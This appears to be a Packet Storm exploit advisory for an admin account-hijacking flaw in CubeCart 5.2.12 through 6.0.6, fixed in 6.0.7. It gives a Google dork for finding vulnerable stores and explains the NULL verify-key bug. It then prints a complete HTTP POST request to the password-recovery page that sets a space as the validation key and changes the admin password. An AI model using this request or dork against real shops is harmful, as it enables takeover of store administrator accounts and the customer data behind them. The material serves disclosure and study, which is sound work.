exploit the possibilities

CubeCart 6.0.6 Administrative Bypass

CubeCart 6.0.6 Administrative Bypass
Posted Sep 12, 2015
Authored by Fernando Camara

CubeCart versions 5.2.12 through 6.0.6 suffer from an administrative bypass vulnerability.

tags | exploit, bypass
MD5 | 8459443070d5b1213da2e542146ea337

CubeCart 6.0.6 Administrative Bypass

Change Mirror Download
Application: CubeCart 6.0.6 > 5.2.12
Fixed: 07/09/2015 (6.0.7)
Credits: Fernando Câmara @overflowy
Title: Admin account hijacking vulnerability
Dork: inurl:"index.php?_a="
Requirements: Default admin recovery functions enabled...
Knowledge of the admin account email


P.O.C

Its possible for an attacker to access the admin pass recovery page without
sending a recovery email previously.

admin.php?_g=recovery

The form asks us for a Validation Key , an Email and the new password.
If a forgot password validation email is sent then the program saves the
random generated key on the database
on the admin user row.
on the table CubeCart_admin_users

Field: verify
Type: varchar(32)
Null: YES
Default: NULL

If a forgot password verification email is not sent then the default
validation key according to the specified configuration of the field is
NULL.
If we input a space character (%20) the select query built in the function
line 540 database.class.php will return results if the email is correct.

The function at line 766 file database.class.php where() calls sqlSafe()
declared in line 162 file mysql.class.php will quote our space character
effectivly building a query with an empty string like this.

SELECT admin_id,username WHERE email='admin@email.com' AND verify = ' '; ->
an empty string

The database recognizes the empty string as null.



Just a simple request that would change an admin account password and
redirect the attacker right to the control panel.


POST /admin.php?_g=recovery HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101
Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?_g=recovery
Cookie: PHPSESSID=lqc12qi1i5o5sl0jtbqt5747k7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

Content-Length: 154
validate=%20&email=admin%40email.com
&password%5Bnew%5D=newpass&password%5Bconfirm%5D=newpass&login=Submit&token=62a83c672e2763529b46fd8978ac9451


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    1 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close